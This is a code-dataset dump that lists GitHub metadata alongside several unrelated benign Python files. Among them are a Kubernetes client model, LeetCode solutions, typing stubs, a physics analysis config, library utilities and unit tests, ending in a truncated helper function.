blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 3
288
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
112
| license_type
stringclasses 2
values | repo_name
stringlengths 5
115
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 684
values | visit_date
timestamp[us]date 2015-08-06 10:31:46
2023-09-06 10:44:38
| revision_date
timestamp[us]date 1970-01-01 02:38:32
2037-05-03 13:00:00
| committer_date
timestamp[us]date 1970-01-01 02:38:32
2023-09-06 01:08:06
| github_id
int64 4.92k
681M
⌀ | star_events_count
int64 0
209k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 22
values | gha_event_created_at
timestamp[us]date 2012-06-04 01:52:49
2023-09-14 21:59:50
⌀ | gha_created_at
timestamp[us]date 2008-05-22 07:58:19
2023-08-21 12:35:19
⌀ | gha_language
stringclasses 147
values | src_encoding
stringclasses 25
values | language
stringclasses 1
value | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 128
12.7k
| extension
stringclasses 142
values | content
stringlengths 128
8.19k
| authors
listlengths 1
1
| author_id
stringlengths 1
132
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
fc03b2addf535c39046c40df168afe7cabd0e67c
|
14bca3c05f5d8de455c16ec19ac7782653da97b2
|
/lib/kubernetes/client/models/v1_local_object_reference.py
|
8bdf99cde581bc3d3abefcc9897708676fc092bb
|
[
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
hovu96/splunk_as_a_service_app
|
167f50012c8993879afbeb88a1f2ba962cdf12ea
|
9da46cd4f45603c5c4f63ddce5b607fa25ca89de
|
refs/heads/master
| 2020-06-19T08:35:21.103208
| 2020-06-16T19:07:00
| 2020-06-16T19:07:00
| 196,641,210
| 8
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,380
|
py
|
# coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.14.4
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
class V1LocalObjectReference(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'name': 'str'
}
attribute_map = {
'name': 'name'
}
def __init__(self, name=None):
"""
V1LocalObjectReference - a model defined in Swagger
"""
self._name = None
self.discriminator = None
if name is not None:
self.name = name
@property
def name(self):
"""
Gets the name of this V1LocalObjectReference.
Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
:return: The name of this V1LocalObjectReference.
:rtype: str
"""
return self._name
@name.setter
def name(self, name):
"""
Sets the name of this V1LocalObjectReference.
Name of the referent. More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
:param name: The name of this V1LocalObjectReference.
:type: str
"""
self._name = name
def to_dict(self):
"""
Returns the model properties as a dict
"""
result = {}
for attr, _ in iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""
Returns the string representation of the model
"""
return pformat(self.to_dict())
def __repr__(self):
"""
For `print` and `pprint`
"""
return self.to_str()
def __eq__(self, other):
"""
Returns true if both objects are equal
"""
if not isinstance(other, V1LocalObjectReference):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""
Returns true if both objects are not equal
"""
return not self == other
|
[
"robert.fujara@gmail.com"
] |
robert.fujara@gmail.com
|
8ead76d7340deb6bd81fc2eadd7a573efbba4100
|
b027af825501f40157921456778e0c2b4a15c313
|
/981. Time Based Key-Value Store.py
|
58d5a5d50bd834b2811f5474b3f41618627561f5
|
[] |
no_license
|
Eustaceyi/Leetcode
|
bba9db25d940aa1a3ea95b7a97319005adb58655
|
237985eea9853a658f811355e8c75d6b141e40b2
|
refs/heads/master
| 2020-05-19T08:04:37.101702
| 2020-02-02T01:43:05
| 2020-02-02T01:43:05
| 184,912,241
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 730
|
py
|
class TimeMap:
def __init__(self):
"""
Initialize your data structure here.
"""
self.d = {}
def set(self, key: str, value: str, timestamp: int) -> None:
if key not in self.d:
self.d[key] = [(timestamp, value)]
else:
self.d[key].append((timestamp, value))
def get(self, key: str, timestamp: int) -> str:
if key not in self.d:
return ''
else:
i = bisect.bisect(self.d[key], (timestamp, chr(127)))
return self.d[key][i-1][1] if i else ''
# Your TimeMap object will be instantiated and called as such:
# obj = TimeMap()
# obj.set(key,value,timestamp)
# param_2 = obj.get(key,timestamp)
|
[
"eustaceyi@gmail.com"
] |
eustaceyi@gmail.com
|
9827030868fdbec7d08cc003e957a3ab49091c27
|
2aace9bb170363e181eb7520e93def25f38dbe5c
|
/build/idea-sandbox/system/python_stubs/cache/615fe5511019f4d9377f3903f87a6e0b5f40a3c520ef52ec49ceeaa834141943/typing/io.py
|
aba44effd2b04593bdce89e5f191dfa3f72ded87
|
[] |
no_license
|
qkpqkp/PlagCheck
|
13cb66fd2b2caa2451690bb72a2634bdaa07f1e6
|
d229904674a5a6e46738179c7494488ca930045e
|
refs/heads/master
| 2023-05-28T15:06:08.723143
| 2021-06-09T05:36:34
| 2021-06-09T05:36:34
| 375,235,940
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,377
|
py
|
# encoding: utf-8
# module typing.io
# from C:\Users\Doly\Anaconda3\lib\site-packages\pandas\_libs\missing.cp37-win_amd64.pyd
# by generator 1.147
""" Wrapper namespace for IO generic classes. """
# imports
import typing as __typing
# no functions
# classes
class IO(__typing.Generic):
"""
Generic base class for TextIO and BinaryIO.
This is an abstract, generic version of the return of open().
NOTE: This does not distinguish between the different possible
classes (text vs. binary, read vs. write vs. read/write,
append-only, unbuffered). The TextIO and BinaryIO subclasses
below capture the distinctions between text vs. binary, which is
pervasive in the interface; however we currently do not offer a
way to track the other distinctions in the type system.
"""
def close(self): # reliably restored by inspect
# no doc
pass
def closed(self): # reliably restored by inspect
# no doc
pass
def fileno(self): # reliably restored by inspect
# no doc
pass
def flush(self): # reliably restored by inspect
# no doc
pass
def isatty(self): # reliably restored by inspect
# no doc
pass
def read(self, n=-1): # reliably restored by inspect
# no doc
pass
def readable(self): # reliably restored by inspect
# no doc
pass
def readline(self, limit=-1): # reliably restored by inspect
# no doc
pass
def readlines(self, hint=-1): # reliably restored by inspect
# no doc
pass
def seek(self, offset, whence=0): # reliably restored by inspect
# no doc
pass
def seekable(self): # reliably restored by inspect
# no doc
pass
def tell(self): # reliably restored by inspect
# no doc
pass
def truncate(self, size=None): # reliably restored by inspect
# no doc
pass
def writable(self): # reliably restored by inspect
# no doc
pass
def write(self, s): # reliably restored by inspect
# no doc
pass
def writelines(self, lines): # reliably restored by inspect
# no doc
pass
def __enter__(self): # reliably restored by inspect
# no doc
pass
def __exit__(self, type, value, traceback): # reliably restored by inspect
# no doc
pass
def __init__(self, *args, **kwargs): # real signature unknown
pass
mode = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
name = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
__orig_bases__ = (
typing.Generic[~AnyStr],
)
__parameters__ = (
None, # (!) real value is '~AnyStr'
)
__slots__ = ()
class BinaryIO(__typing.IO):
""" Typed version of the return of open() in binary mode. """
def write(self, s): # reliably restored by inspect
# no doc
pass
def __enter__(self): # reliably restored by inspect
# no doc
pass
def __init__(self, *args, **kwargs): # real signature unknown
pass
__orig_bases__ = (
typing.IO[bytes],
)
__parameters__ = ()
__slots__ = ()
class TextIO(__typing.IO):
""" Typed version of the return of open() in text mode. """
def __enter__(self): # reliably restored by inspect
# no doc
pass
def __init__(self, *args, **kwargs): # real signature unknown
pass
buffer = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
encoding = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
errors = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
line_buffering = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
newlines = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
__orig_bases__ = (
typing.IO[str],
)
__parameters__ = ()
__slots__ = ()
# variables with complex values
__all__ = [
'IO',
'TextIO',
'BinaryIO',
]
__weakref__ = None # (!) real value is "<attribute '__weakref__' of 'typing.io' objects>"
|
[
"qinkunpeng2015@163.com"
] |
qinkunpeng2015@163.com
|
812d33ceecf8a2ed47eb5c83d1e0225481655f44
|
f338eb32c45d8d5d002a84798a7df7bb0403b3c4
|
/Calibration/IsolatedParticles/test/proto_runIsolatedTracksHcal_cfg.py
|
34200f8e49f76ae0284d76dd370be5ac5a950c7c
|
[] |
permissive
|
wouf/cmssw
|
0a8a8016e6bebc611f1277379e12bef130464afb
|
60da16aec83a0fc016cca9e2a5ed0768ba3b161c
|
refs/heads/CMSSW_7_3_X
| 2022-06-30T04:35:45.380754
| 2015-05-08T17:40:17
| 2015-05-08T17:40:17
| 463,028,972
| 0
| 0
|
Apache-2.0
| 2022-02-24T06:05:30
| 2022-02-24T06:05:26
| null |
UTF-8
|
Python
| false
| false
| 2,875
|
py
|
import FWCore.ParameterSet.Config as cms
process = cms.Process("L1SKIM")
process.load("FWCore.MessageService.MessageLogger_cfi")
process.MessageLogger.cerr.FwkReport.reportEvery = 10
process.MessageLogger.categories.append('L1GtTrigReport')
process.MessageLogger.categories.append('HLTrigReport')
process.options = cms.untracked.PSet(
wantSummary = cms.untracked.bool(False)
)
#process.load(INPUTFILELIST)
process.source = cms.Source("PoolSource",fileNames =cms.untracked.vstring(
'/store/mc/Summer10/DiPion_E1to300/GEN-SIM-RECO/START36_V9_S09-v1/0024/4CEE3150-E581-DF11-B9C4-001A92971BDC.root'
))
process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(50) )
##################### digi-2-raw plus L1 emulation #########################
process.load("Configuration.StandardSequences.Services_cff")
process.load('Configuration/StandardSequences/GeometryExtended_cff')
process.load('Configuration/StandardSequences/MagneticField_38T_cff')
process.load('TrackingTools/TrackAssociator/DetIdAssociatorESProducer_cff')
#################### Conditions and L1 menu ################################
process.load("Configuration.StandardSequences.FrontierConditions_GlobalTag_cff")
#process.GlobalTag.globaltag = 'START3X_V25B::All'
#process.GlobalTag.globaltag = 'START3X_V27::All'
process.GlobalTag.globaltag = 'START36_V10::All'
process.load('Calibration.IsolatedParticles.isolatedTracksHcalScale_cfi')
process.isolatedTracksHcal.MaxDxyPV = 10.
process.isolatedTracksHcal.MaxDzPV = 10.
process.isolatedTracksHcal.Verbosity = 1
process.primaryVertexFilter = cms.EDFilter("GoodVertexFilter",
vertexCollection = cms.InputTag('offlinePrimaryVertices'),
minimumNDOF = cms.uint32(4) ,
maxAbsZ = cms.double(20.0),
maxd0 = cms.double(10.0)
)
process.TFileService = cms.Service("TFileService",
fileName = cms.string('IsolatedTracksHcalScale.root')
)
# define an EndPath to analyze all other path results
process.hltTrigReport = cms.EDAnalyzer( 'HLTrigReport',
#HLTriggerResults = cms.InputTag( 'TriggerResults','','REDIGI36X')
HLTriggerResults = cms.InputTag( 'TriggerResults','','HLT')
)
process.load("L1Trigger.GlobalTriggerAnalyzer.l1GtTrigReport_cfi")
#process.l1GtTrigReport.L1GtRecordInputTag = 'simGtDigis'
process.l1GtTrigReport.L1GtRecordInputTag = 'gtDigis'
process.l1GtTrigReport.PrintVerbosity = 0
#=============================================================================
#process.p1 = cms.Path(process.primaryVertexFilter*process.isolatedTracksHcal)
process.p1 = cms.Path( process.isolatedTracksHcal )
|
[
"giulio.eulisse@gmail.com"
] |
giulio.eulisse@gmail.com
|
eacdc0def0769b9ac87a01477d979d10893e999e
|
3345fd9994269b2617e5cbd8f9de879f61544341
|
/sklearn_theano/utils/validation.py
|
2d75fff7123bf8f257d8b510f1be458631604271
|
[
"BSD-3-Clause",
"BSD-2-Clause"
] |
permissive
|
khaoulabelahsen/sklearn-theano
|
63f927c61732601f684e36d28e9f029246b84a20
|
a159d63b913c4f3a7abfb5a46a97a5a39bbc793f
|
refs/heads/master
| 2021-05-18T13:30:17.228526
| 2020-03-30T09:54:29
| 2020-03-30T09:54:29
| 251,263,043
| 1
| 0
|
BSD-3-Clause
| 2020-03-30T09:45:51
| 2020-03-30T09:45:51
| null |
UTF-8
|
Python
| false
| false
| 1,974
|
py
|
"""Utilities for input validation"""
# License: BSD 3 clause
import numpy as np
def get_minibatch_indices(array, minibatch_size):
""" Get indices for minibatch processing.
Parameters
----------
array : object
Input object to get indices for
minibatch_size : int
Size of minibatches
Returns
-------
list_of_indices : object
A list of (start_index, end_index) tuples.
"""
minibatch_indices = np.arange(0, len(array), minibatch_size)
minibatch_indices = np.asarray(list(minibatch_indices) + [len(array)])
start_indices = minibatch_indices[:-1]
end_indices = minibatch_indices[1:]
return zip(start_indices, end_indices)
def check_tensor(array, dtype=None, order=None, n_dim=None, copy=False):
"""Input validation on an array, or list.
By default, the input is converted to an at least 2nd numpy array.
Parameters
----------
array : object
Input object to check / convert.
dtype : object
Input type to check / convert.
n_dim : int
Number of dimensions for input array. If smaller, input array will be
appended by dimensions of length 1 until n_dims is matched.
order : 'F', 'C' or None (default=None)
Whether an array will be forced to be fortran or c-style.
copy : boolean (default=False)
Whether a forced copy will be triggered. If copy=False, a copy might
be triggered by a conversion.
Returns
-------
X_converted : object
The converted and validated X.
"""
array = np.array(array, dtype=dtype, order=order, copy=copy)
if n_dim is not None:
if len(array.shape) > n_dim:
raise ValueError("Input array has shape %s, expected array with "
"%s dimensions or less" % (array.shape, n_dim))
elif len(array.shape) < n_dim:
array = array[[np.newaxis] * (n_dim - len(array.shape))]
return array
|
[
"kastnerkyle@gmail.com"
] |
kastnerkyle@gmail.com
|
ef126642a60cbf935062792af151179cfa4acb7e
|
11c24617b0f62bc55b7d2f34eb65fa63e3e3ec06
|
/Stacks and Queues - Exercise/10. Cups and Bottles.py
|
05eea022bd503beddd8750833b08dd39d18c3a5e
|
[] |
no_license
|
SilviaKoynova/Python-Advanced
|
2d1750a4943b82a82ec910d29241bd3fc473289e
|
0a94556592bca60b29a85849a5e694f2eeeda52b
|
refs/heads/main
| 2023-07-18T05:41:33.641250
| 2021-08-26T21:15:13
| 2021-08-26T21:15:13
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,155
|
py
|
from collections import deque
cups_capacity = list(map(int, input().split()))
bottles_with_watter = list(map(int, input().split()))
cups = deque(cups_capacity)
wasted_water = 0
while cups and bottles_with_watter:
current_cup = cups[0]
current_bottle = bottles_with_watter[-1]
if current_cup > current_bottle:
reduced_value = current_cup - current_bottle
current_bottle = bottles_with_watter.pop()
while reduced_value > 0 and bottles_with_watter:
next_bottle = bottles_with_watter[-1]
if next_bottle > reduced_value:
wasted_water += (next_bottle - reduced_value)
reduced_value -= next_bottle
else:
reduced_value -= next_bottle
bottles_with_watter.pop()
cups.popleft()
else:
wasted_water += current_bottle - current_cup
bottles_with_watter.pop()
cups.popleft()
if bottles_with_watter:
print(f"Bottles: {' '.join(map(str, bottles_with_watter))}")
elif cups:
print(f"Cups: {' '.join(map(str, cups))}")
print(f"Wasted litters of water: {wasted_water}")
|
[
"noreply@github.com"
] |
SilviaKoynova.noreply@github.com
|
bd543a56885e63c0880db093f6cc7f3b0a5aebd7
|
d3cd9012fb535f304d23635145d3fbe71fdbf17e
|
/geonames/fileutils.py
|
7bb9513b06e9cfb8f77f8e62e5dac124d7991570
|
[
"Apache-2.0",
"CC-BY-3.0"
] |
permissive
|
flyingdice/geonames-sqlite
|
38023e8ffc2e6ff47ee614fc7ea223bfa3079cc2
|
acf51d9af723d46815c43509ce22712ce910a61e
|
refs/heads/master
| 2023-02-18T02:06:44.676771
| 2021-01-20T01:48:00
| 2021-01-20T01:48:00
| 109,519,033
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 705
|
py
|
"""
geonames/fileutils
~~~~~~~~~~~~~~~~~~
Contains utility functions for files.
"""
from typing import IO
def peek_line(f: IO) -> str:
"""
Peek the next line of the given file obj without progressing the pointer.
"""
pos = f.tell()
data = f.readline()
f.seek(pos)
return data
def is_comment(line: str) -> bool:
"""
Return True if the given line is a comment, False otherwise.
"""
return line.startswith('#')
def skip_comments(f: IO) -> None:
"""
Progress the given file obj past all comment lines.
"""
while True:
line = peek_line(f)
if not line or not is_comment(line):
break
f.readline()
|
[
"andrew.r.hawker@gmail.com"
] |
andrew.r.hawker@gmail.com
|
20719f4d841e021eca7cb85b8fe056e631ae325c
|
91824d746654fe12881b4fc3b55c553aae0d22ac
|
/py/count-numbers-with-unique-digits.py
|
627afa761d56db8cd55409afa5f4afa8c3a6a30b
|
[
"Apache-2.0"
] |
permissive
|
ckclark/leetcode
|
a1a173c67a36a3256b198f853fcd3d15aa5abbb7
|
844c6f18d06dcb397db76436e5f4b8ddcb1beddc
|
refs/heads/master
| 2021-01-15T08:14:43.368516
| 2020-02-14T07:25:05
| 2020-02-14T07:30:10
| 42,386,911
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 310
|
py
|
class Solution(object):
def countNumbersWithUniqueDigits(self, n):
"""
:type n: int
:rtype: int
"""
n = min(10, n)
ans = 1
for i in xrange(10 - (n - 1), 10 + 1):
ans = ans * i + 1
ans *= 9
ans /= 10
return ans + 1
|
[
"clark.ck@gmail.com"
] |
clark.ck@gmail.com
|
e83f691304be7f8aaee96e7151f7442647d2fb7c
|
ac9b453759dbab67d92f88942b7ac41b337e003d
|
/hudson/hudson-scripts/qiime/test_tree_compare.py
|
41856e1636672dce3233f85b256d692af20cdd73
|
[] |
no_license
|
carze/clovr-base
|
12d8dd405136643b889c3752a360a2efc9405f45
|
617bcb84b087f80a5d5e74ad7ef1616a369d2306
|
refs/heads/master
| 2021-01-24T01:39:55.353409
| 2014-11-05T15:06:05
| 2014-11-05T15:06:05
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,386
|
py
|
#!/usr/bin/env python
__author__ = "Justin Kuczynski"
__copyright__ = "Copyright 2010, The QIIME Project"
__credits__ = ["Justin Kuczynski"]
__license__ = "GPL"
__version__ = "1.1.0"
__maintainer__ = "Justin Kuczynski"
__email__ = "justinak@gmail.com"
__status__ = "Release"
"""tests the tree_compare.py module."""
from cogent.util.unit_test import TestCase, main
from qiime.parse import parse_newick
import qiime.tree_compare as tc
class TreeCompareTests(TestCase):
""" tests only top level functions
"""
def test_bootstrap_support(self):
""" bootstrap_support should have correct bootstrap for a tree with
unlabeled internal nodes
"""
master_tree = parse_newick('((a:2,b:3):2,(c:1,d:2):7);')
"""
/-------.5 /-a
---1| \-b
\------.5 /-c
\-d
"""
t1 = parse_newick('((a:6,b:8.2):2,(c:1,d:2):7);') # same structure
t2 = parse_newick('((a:2,b:3,c:33):2,d:7);') # abc are siblings
new_master, bootstraps = tc.bootstrap_support(master_tree, [t1, t2])
self.assertFloatEqual(sorted(bootstraps.values()),sorted([1.0, .5, .5]))
def test_bootstrap_support_labeled(self):
""" bootstrap_support should have correct bootstrap on a tree
with labeled internal nodes
"""
master_tree = parse_newick('((a:2,b:3)ab:2,(c:1,d:2)cd:7)rt;')
"""
/-------.5 /-a
---1| \-b
\------.5 /-c
\-d
"""
t1 = parse_newick('((a:6,b:8.2)hi:2,(c:1,d:2):7);') # same structure
t2 = parse_newick('((a:2,b:3,c:33)ho:2,d:7);') # abc are siblings
new_master, bootstraps = tc.bootstrap_support(master_tree, [t1, t2])
expected = dict([('ab', .5),('cd',.5),('rt',1.0)])
self.assertFloatEqual(bootstraps, expected)
def test_bootstrap_support_subset(self):
""" bootstrap_support should have correct bootstrap on a tree
when one support tree is missing a tip
"""
master_tree = parse_newick('((a:2,b:3)ab:2,(c:1,d:2)cd:7)rt;')
"""
/-------.5 /-a
---1| \-b
\------.5 /-c
\-d
"""
t1 = parse_newick('((a:6,b:8.2)hi:2,(c:1,d:2):7);') # same structure
t2 = parse_newick('((a:2,b:3,c:33)ho:2,d:7);') # abc are siblings
t3 = parse_newick('((a:6)hi:2,(c:1,d:2):7);') # b missing
t4 = parse_newick('(a:8,(c:1,d:2):7);') # b missing, and pruned
new_master, bootstraps = tc.bootstrap_support(master_tree,
[t1, t2,t3,t4])
expected = dict([('cd',.75),('rt',1.0)])
self.assertFloatEqual(bootstraps, expected)
def test_tree_support(self):
""" tree_support should correctly modify node.bootstrap_support
"""
master_tree = parse_newick('((a:2,b:3)ab:2,(c:1,d:2)cd:7)rt;')
"""
/-------.5 /-a
---1| \-b
\------.5 /-c
\-d
"""
t2 = parse_newick('((a:2,b:3,c:33)ho:2,d:7);') # abc are siblings
tc.tree_support(master_tree, t2)
self.assertFloatEqual(\
master_tree.getNodeMatchingName('rt').bootstrap_support,1.0)
if __name__ =='__main__':
main()
|
[
"cesar.arze@gmail.com"
] |
cesar.arze@gmail.com
|
9f882bb61120cc1a2aa888581ffeef7eb9ebc90f
|
8ad9faa828ce54cddc38dc86eef30e6635babd0c
|
/RestPy/ixnetwork_restpy/testplatform/sessions/ixnetwork/globals/topology/openflowcontroller/instructions.py
|
b089f7f273ad469a5399bb17b1a314f0423ac06b
|
[
"MIT"
] |
permissive
|
ralfjon/IxNetwork
|
d1a50069bc5a211f062b2b257cb6775e7cae8689
|
c0c834fbc465af69c12fd6b7cee4628baba7fff1
|
refs/heads/master
| 2020-04-04T00:36:24.956925
| 2018-10-26T16:37:13
| 2018-10-26T16:37:13
| 155,655,988
| 0
| 0
|
MIT
| 2018-11-01T03:19:30
| 2018-11-01T03:19:30
| null |
UTF-8
|
Python
| false
| false
| 3,717
|
py
|
# Copyright 1997 - 2018 by IXIA Keysight
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
from ixnetwork_restpy.base import Base
from ixnetwork_restpy.files import Files
class Instructions(Base):
"""The Instructions class encapsulates a required instructions node in the ixnetwork hierarchy.
An instance of the class can be obtained by accessing the Instructions property from a parent instance.
The internal properties list will contain one and only one set of properties which is populated when the property is accessed.
"""
_SDM_NAME = 'instructions'
def __init__(self, parent):
super(Instructions, self).__init__(parent)
@property
def Instruction(self):
"""An instance of the Instruction class.
Returns:
obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.globals.topology.openflowcontroller.instruction.Instruction)
Raises:
NotFoundError: The requested resource does not exist on the server
ServerError: The server has encountered an uncategorized error condition
"""
from ixnetwork_restpy.testplatform.sessions.ixnetwork.globals.topology.openflowcontroller.instruction import Instruction
return Instruction(self)
@property
def Count(self):
"""Number of elements inside associated multiplier-scaled container object, e.g. number of devices inside a Device Group
Returns:
number
"""
return self._get_attribute('count')
@property
def Description(self):
"""Description of the TLV prototype.
Returns:
str
"""
return self._get_attribute('description')
@Description.setter
def Description(self, value):
self._set_attribute('description', value)
@property
def IsEditable(self):
"""Information on the requirement of the field.
Returns:
bool
"""
return self._get_attribute('isEditable')
@IsEditable.setter
def IsEditable(self, value):
self._set_attribute('isEditable', value)
@property
def IsRepeatable(self):
"""Information if the field can be multiplied in the tlv definition.
Returns:
bool
"""
return self._get_attribute('isRepeatable')
@IsRepeatable.setter
def IsRepeatable(self, value):
self._set_attribute('isRepeatable', value)
@property
def IsRequired(self):
"""Information on the requirement of the field.
Returns:
bool
"""
return self._get_attribute('isRequired')
@IsRequired.setter
def IsRequired(self, value):
self._set_attribute('isRequired', value)
@property
def Name(self):
"""Name of the TLV field.
Returns:
str
"""
return self._get_attribute('name')
@Name.setter
def Name(self, value):
self._set_attribute('name', value)
|
[
"hubert.gee@keysight.com"
] |
hubert.gee@keysight.com
|
e2ee40c43a7150a5d6cee96817a5c77f7357f557
|
d1a4e71c407c52d28914570c684d2be2f03d1cd2
|
/tensorflow/python/keras/layers/preprocessing/text_vectorization_distribution_test.py
|
61fb62f7885dec08d19c28211ebc412e7d18f9ed
|
[
"Apache-2.0"
] |
permissive
|
WindQAQ/tensorflow
|
f43dd80e1b6004f2443faf2eb310dbcb19ae9796
|
4f4e5f4196e243b33fd218bc9fc910e275b1f22b
|
refs/heads/master
| 2021-07-05T05:55:38.374488
| 2021-03-12T04:51:17
| 2021-03-12T04:51:17
| 190,140,026
| 1
| 0
|
Apache-2.0
| 2019-06-04T06:09:54
| 2019-06-04T06:09:53
| null |
UTF-8
|
Python
| false
| false
| 4,191
|
py
|
# Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Distribution tests for keras.layers.preprocessing.text_vectorization."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import numpy as np
from tensorflow.python import keras
from tensorflow.python.data.ops import dataset_ops
from tensorflow.python.distribute import combinations as ds_combinations
from tensorflow.python.eager import context
from tensorflow.python.framework import config
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import test_combinations as combinations
from tensorflow.python.keras import keras_parameterized
from tensorflow.python.keras.distribute.strategy_combinations import all_strategies
from tensorflow.python.keras.layers.preprocessing import preprocessing_test_utils
from tensorflow.python.keras.layers.preprocessing import text_vectorization
from tensorflow.python.keras.layers.preprocessing import text_vectorization_v1
from tensorflow.python.platform import test
def get_layer_class():
if context.executing_eagerly():
return text_vectorization.TextVectorization
else:
return text_vectorization_v1.TextVectorization
@ds_combinations.generate(
combinations.combine(
distribution=all_strategies,
mode=["eager", "graph"]))
class TextVectorizationDistributionTest(
keras_parameterized.TestCase,
preprocessing_test_utils.PreprocessingLayerTest):
def test_distribution_strategy_output(self, distribution):
vocab_data = ["earth", "wind", "and", "fire"]
input_array = np.array([["earth", "wind", "and", "fire"],
["fire", "and", "earth", "michigan"]])
input_dataset = dataset_ops.Dataset.from_tensor_slices(input_array).batch(
2, drop_remainder=True)
expected_output = [[2, 3, 4, 5], [5, 4, 2, 1]]
config.set_soft_device_placement(True)
with distribution.scope():
input_data = keras.Input(shape=(None,), dtype=dtypes.string)
layer = get_layer_class()(
max_tokens=None,
standardize=None,
split=None,
output_mode=text_vectorization.INT)
layer.set_vocabulary(vocab_data)
int_data = layer(input_data)
model = keras.Model(inputs=input_data, outputs=int_data)
output_dataset = model.predict(input_dataset)
self.assertAllEqual(expected_output, output_dataset)
def test_distribution_strategy_output_with_adapt(self, distribution):
vocab_data = [[
"earth", "earth", "earth", "earth", "wind", "wind", "wind", "and",
"and", "fire"
]]
vocab_dataset = dataset_ops.Dataset.from_tensors(vocab_data)
input_array = np.array([["earth", "wind", "and", "fire"],
["fire", "and", "earth", "michigan"]])
input_dataset = dataset_ops.Dataset.from_tensor_slices(input_array).batch(
2, drop_remainder=True)
expected_output = [[2, 3, 4, 5], [5, 4, 2, 1]]
config.set_soft_device_placement(True)
with distribution.scope():
input_data = keras.Input(shape=(None,), dtype=dtypes.string)
layer = get_layer_class()(
max_tokens=None,
standardize=None,
split=None,
output_mode=text_vectorization.INT)
layer.adapt(vocab_dataset)
int_data = layer(input_data)
model = keras.Model(inputs=input_data, outputs=int_data)
output_dataset = model.predict(input_dataset)
self.assertAllEqual(expected_output, output_dataset)
if __name__ == "__main__":
test.main()
|
[
"gardener@tensorflow.org"
] |
gardener@tensorflow.org
|
fc7c24ed77a547bd786367f500d47a40c1ac668c
|
bc61b2d61e0d7c119ad40432490a35e49c2af374
|
/src/opencmiss/extensions/airwaysmask/utils.py
|
418ee6e288308afb4f2d4c8d26af8e38fb44cf52
|
[
"Apache-2.0"
] |
permissive
|
hsorby/neon.extension.airwaysmask
|
28c2be8d685d9bf72f7704c549bca11c286ce305
|
2d9da30c569e1fcdd0819a6512e570b3d8c9efda
|
refs/heads/master
| 2020-03-27T02:28:06.928298
| 2018-08-29T21:36:27
| 2018-08-29T21:36:27
| 145,792,604
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,007
|
py
|
def generate_offset_cube_coordinates(dimensions):
"""
Create a set of eight 3D coordinates that are offset by 0.5. In this case the 0.5 is a pixel so that
the centre of the voxel is at the integer coordinate location.
:param dimensions: A list of size three containing the dimensions of the cube.
:return: A list of 3D coordinates for the offset cube.
"""
